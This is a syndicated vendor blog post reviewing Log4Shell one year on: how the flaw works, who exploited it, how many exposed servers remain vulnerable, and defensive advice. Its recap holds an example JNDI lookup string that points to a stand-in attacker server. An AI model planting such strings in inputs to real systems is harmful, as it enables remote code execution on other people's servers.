SBN

Log4Shell Anniversary: One Year Later, What Has Changed?

The Log4Shell anniversary is here. It has been a year since the initial discovery and publication of Log4Shell (CVE-2021-44228), which was without a doubt one of the most meaningful vulnerabilities in recent years.

Rezilion researchers  examined what has changed during the course of this year in terms of the Log4Shell vulnerability’s current attack surface, and,  more importantly, the effect the Log4Shell vulnerability had on current security processes and best practices.

Did we learn anything from it? Are we ready for the next Log4Shell-like event?

We will start by providing a short breakdown of the events as they transpired.

Recap: What is the Log4Shell Vulnerability and Why Was it Significant?

Log4Shell, or CVE-2021-44228, was a zero-day vulnerability affecting the Log4j 2 Java logging library. The Log4j library is one the most popular out of several available logging frameworks for Java. These frameworks provide the functionality and configuration required to create and send log messages.

The vulnerability is related to the Java Naming and Directory Interface (JNDI) mechanism, and more specifically to the JNDI Lookup plugin, which was introduced to the log4j library in 2013. Without going into too much technical detail, this JNDI Lookup plugin allows variables to be retrieved via JNDI. These variables can be retrieved locally or by connecting a Java application to an external directory service (such as an address database or an LDAP server).

In order to exploit the vulnerability, an attacker has to identify some input that gets logged (user-agent, a parameter derived from user input such as username, etc..) and insert a malicious string (such as ${jndi:ldap://evil_server.com/malicious_object}) as part of the input. Once this string is logged, a malicious object will be retrieved from the malicious server.

For a more technical deep dive into the mechanics of the vulnerability see here.

There are three main factors that together made Log4Shell so impactful:

  1. Huge attack surface – Millions of vulnerable Java applications worldwide according to most estimates. Vulnerable services included: Cloudflare, iCloud, Minecraft servers, Steam, Tencent QQ, Twitter, and more.
  2. Ease of exploitation – No privileged access or special configuration is needed, all an attacker has to do in order to exploit the vulnerability is to locate an input field that gets logged and write a simple string.    
  3. Severe potential impact – With a CVSS v3 score of 10, a successful exploit of the Log4Shell vulnerability will provide an attacker the ability to execute arbitrary code and potentially take full control of the system. 

Another notable aspect of Log4Shell was the fact it proved itself challenging to identify, especially in production environments. This is due to two main reasons:

  1. The vulnerable component can be nested several layers deep into the binary. JAR files are built on the ZIP format and can be viewed as a compressed archive file. As such, they can have several levels of hierarchy (a JAR, within a JAR, within a JAR, etc.). In most cases, Log4j is not explicitly defined as a dependency of the artifact but gets pulled in as a transitive dependency which makes it likely for it to be present throughout all parts of the dependency tree. 

A Google blog post pointed out that for over 80% of the affected packages, the vulnerable Log4j component was more than one level deep, with a majority affected five layers down (and some as many as nine layers down).

  • Java Binaries can be packaged in various different formats. 

The flexibility of the JAR format allows for JAR files to take many shapes and forms. Each format usually reflects a different packaging and deployment schema and can have specific requirements. Examples include:

  • TAR — Tape Archive (uncompressed)
  • WAR — Web Application Archive. Should contain a web `.xml` file in the WEB-INF folder
  • EAR — Enterprise Application Archive
  • SAR — Service Application Archive
  • PAR — Portlet Archive
  • RAR — Resource Adapter. A system-level driver that connects a Java application to an enterprise information system. It contains source code and a `ra.xml` file that serves as a deployment descriptor
  • KAR — Apache Karaf Archive. A special type of artifact that contains a set of feature descriptor and bundle jar files.

The vulnerable Log4j component can be located in any one of these different packaging formats and in varying levels of nesting. That means that scanners should support all variations of the above-mentioned cases. As we have discussed in previous research that is not always the case.

What Was the Impact of Log4Shell?

Active exploitation attempts were discovered very early on (even days prior to the official publication of the vulnerability). Initial exploitation attempts seen in the wild were aimed at deploying ransomware and various coin miners, but as time went on evidence of active exploitation of Log4Shell by various APT groups started to accumulate.

In early December 2021, Mirai botnets were identified to utilize the Log4j vulnerability in order to obtain access to IoT devices including IP cameras, smart TVs, network switches, and routers. Two additional botnets, Elknot (also known as the BillGates trojan) and the Gafgyt (AKA BASHLITE), were also later identified using the Log4j exploit.

Since then, multiple threat actor groups have been recorded to exploit Log4Shell in various campaigns for malware infection, intelligence gathering, data exfiltration, and financial gain.

The exploitation of Log4Shell is usually performed in order to attain initial access to the environment. Hence, attackers targeted internet-facing systems that preferably have other vulnerabilities they could leverage in order to perform privilege escalation, lateral movement, exfiltration of data, and more.

Some of the preferred targets are:

The table below describes the various exploitation attempts carried out by malicious actors in the year since the initial publication of Log4Shell.

References:

  1. https://www.mandiant.com/resources/mobileiron-log4shell-exploitation
  2. https://duo.com/decipher/china-based-actors-using-log4shell-bug-for-ransomware-deployment
  3. https://securityaffairs.co/wordpress/126613/apt/apt35-log4shell-backdoor.html
  4. https://socprime.com/blog/tunnelvision-apt-group-exploits-the-log4j/
  5. https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits
  6. https://www.cpomagazine.com/cyber-security/log4j-vulnerability-exploited-by-lazarus-hackers-for-cyber-espionage-targets-are-energy-companies-running-vmware-horizon-servers/

Just last month (November 2022), CISA and the FBI have issued a Cybersecurity Advisory (CSA) regarding the suspected Iranian government-sponsored actors’ exploiting the Log4Shell vulnerability while targeting unpatched VMware Horizon servers, installing crypto mining software, moving laterally through the network, compromising credentials, and implanting reverse proxies on several hosts to maintain persistence.

The fact that adversaries are still attempting to exploit the Log4Shell vulnerability is by itself an indicator that there is still a significant applicable attack surface.

If attackers believed that the likelihood of a successful attack is low, they would not have tried to exploit this vulnerability.

Where Are We Now With Log4Shell?

The events following Log4Shell have sparked a much-needed discussion regarding the need for providing ongoing industry support for open-source projects as well as suggestions for alternative models that defy the current status quo.

Since then, several initiatives to improve the security posture of critical open-source software have emerged. One such project is the Alpha-Omega project, launched by OpenSSF in February 2022, to improve open-source software security by helping project maintainers search for and fix undiscovered vulnerabilities in 10,000 commonly deployed projects.

Overall, the open-source community has responded well in terms of remediating the vulnerability as a current search in GitHub (for example using grep.app) for vulnerable versions of `org.apache.logging.log4j:log4j-core` referenced in code yields very few results. 

As we will show below, the more concerning issue is that even though patched versions exist for most vulnerable applications, the patches are not always applied, leaving a significant vulnerable attack surface.

What is Still Vulnerable to Log4Shell?

We last performed a detailed analysis of the attack surface vulnerable to Log4Shell four months after the publication of the vulnerability. In this section, we will revisit some of the data points collected in the previous research and compare them to the current state.

When examining  Open Source Insights, a Google service that scans millions of open source packages builds their dependency graphs, and annotates them with information about ownership, licenses, popularity, and other metadata, we can see that out of 18.45K packages containing org.apache.logging.log4j:log4j-core8.15k packages still contain a vulnerable version or have an affected dependency. This means that more than 44% of the packages are still vulnerable. While this is an improvement compared to the 60% we saw at the 4 months checkpoint this is still a significant amount. 

Another complementary metric we can explore which provides insight into actual usage, is available via the Sonatype Log4j vulnerability resource center. This dashboard tracks the number of active downloads of Log4j and provides statistics based on version, geographic location, and more.

As you can see in the below image, in which the red area marks the percentage of Log4j downloads vulnerable to Log4Shell, to this date, 25% of the Log4j instances downloaded from Maven Central are vulnerable.

For comparison, as of April 20, 2022, 36% of the Log4j versions actively downloaded from maven central were vulnerable versions.

So what can explain these concerning statistics? What are the services that are still pulling these vulnerable Log4j versions?

We believe that one of the main reasons we still see a high number of vulnerable component downloads is the fact that people are unknowingly still using software that relies on vulnerable versions of Log4j.

This could be attributed to several factors:

– Many organizations lack mature vulnerability management processes and/or visibility into their software components (Software Bill of Materials, known as SBOM). These organizations might not even be aware of the existence of vulnerable applications in their environment.

– Log4j has proven to be challenging to detect in production environments. Hence, without proper tooling, detection gaps might remain.

– Use of vulnerable third-party software. Often the vulnerable code is part of a third-party application for which visibility into its components is often limited.

Let’s explore some real-world examples.

Examples of Vulnerable Attack Surface

Minecraft servers:

Using Shodan.io we have identified over 183,000 publicly facing Minecraft servers:

Out of these servers, there are still over 48,500 that are affected by Log4Shell (versions between 1.7 and 1.18) which are 26% of all publicly facing Minecraft servers.

Note: We excluded around 1900 servers that were running DDoS protection services such as Cosmic Guard and TCPShield.com as they prevent us from accurately identifying the version of the server they protect. It is plausible that at least some of the servers behind these services are also still vulnerable to Log4Shell. 

Elasticsearch Servers:According to Shodan.io, there are over 21,600 Elasticsearch servers publicly accessible.

Since for Elasticsearch, Shodan provides accurate version information we were able to determine exactly how many servers contain vulnerable versions of Log4j. We excluded all non-vulnerable versions of Elasticsearch from the search results (only took into account all 5.x versions, from 6.x.x to 6.8.21, and from 7.0.0 to 7.15.x) and verified using Dive that the vulnerable versions, in fact, contain the affected Log4j-core library:

We were left with 8,042 Elasticsearch servers which are still vulnerable to Log4Shell.

That’s more than 37% of all publicly facing Elasticsearch servers.

VMware vCenter Servers:

Lastly, we also looked at publicly accessible VMware vCenter servers which have multiple exploitation PoCs in the wild and are known to be a target for active exploitation.

We have identified over 2500 Vmware vCenter servers publicly accessible:

Out of which, 830 are running vulnerable versions to Log4Shell which account for over 32% of all publicly facing VMware vCenter servers. 

Even though significant strides have been made by organizations in order to mitigate the Log4Shell risk and apply the relevant patches, we still see evidence of a significant vulnerable attack surface. 

These 3 examples alone account for over 57,000 publicly accessible servers that are to this date still vulnerable to Log4Shell. As you can imagine the actual attack surface which also includes vulnerable applications on private networks is significantly higher.

We estimate that there are a few hundred thousand servers still affected by Log4Shell to date.

NOTE: Actual exploitability of the potentially vulnerable servers was not tested. The results presented below are based on data from Shodan.io which attempts to associate vulnerabilities with services based on the software version assuming it is present in the service metadata (see here).

A Significant Attack Surface Still Remains for Log4Shell

While the initial “forest fire” that was Log4Shell is mostly maintained, we have seen from the few examples provided above that there is roughly 30% of the publicly accessible attack surface that is still vulnerable to Log4Shell. It is safe to assume that the situation in private networks isn’t much different.

We saw active exploitation attempts of Log4Shell throughout the year. If initially, the attackers were mostly individuals or various ransomware groups, as the year progressed more and more APT groups started to exploit the vulnerability as part of their toolchain in order to get initial access to organizations.

Given there is still a significant vulnerable attack surface it is likely we will continue to see active exploitation attempts from time to time.

Similar to other historical examples such as Heartbleed, since organizations struggle to apply timely patches, and some do not even have proper vulnerability management practices and might not be aware they are vulnerable, we expect this vulnerability to remain relevant at least in the next few years.

This is especially true for sectors such as energy facilities and medical organizations which historically tend to lag on keeping up to date on current patches for internet-facing devices. 

The main takeaway is that even though it has been a year since the publication of Log4Shell it will be false to assume that it is no longer relevant. Continuous vigilance and monitoring are a must. We have had several customers which have completely mitigated Log4Shell from their environments only to see it resurface through a CI process or the installation of a vulnerable third-party application.

This coincides with research recently conducted by Tenable claiming that 29% of vulnerable assets examined have experienced the reintroduction of Log4Shell after full remediation was achieved.

Recommendations For Defense Against Log4Shell

  • Make sure you are able to produce a Software Bill of Materials (SBOM) for all software components you build and require vendors to provide an SBOM for third-party software.
  • Make sure you have visibility into your existing attack surface (CVEs) as well as the ability to identify vulnerable components in your environment associated with the vulnerabilities which require patching. 
  • Make sure you have supporting processes in place to allow for effective patching. Change control, testing, and quality assurance are all needed to account for possible compatibility issues.
  • Put an emphasis on continuous monitoring and assessment. In today’s environment in which reliance on third-party code (whether commercial or open-source) is inevitable, we have seen multiple occasions where vulnerable code that was already patched is being pulled back into production environments by CI/CD processes. 

The post Log4Shell Anniversary: One Year Later, What Has Changed? appeared first on Rezilion.

*** This is a Security Bloggers Network syndicated blog from Rezilion authored by Yotam Perkal. Read the original post at: https://www.rezilion.com/blog/log4shell-anniversary-one-year-later-what-has-changed/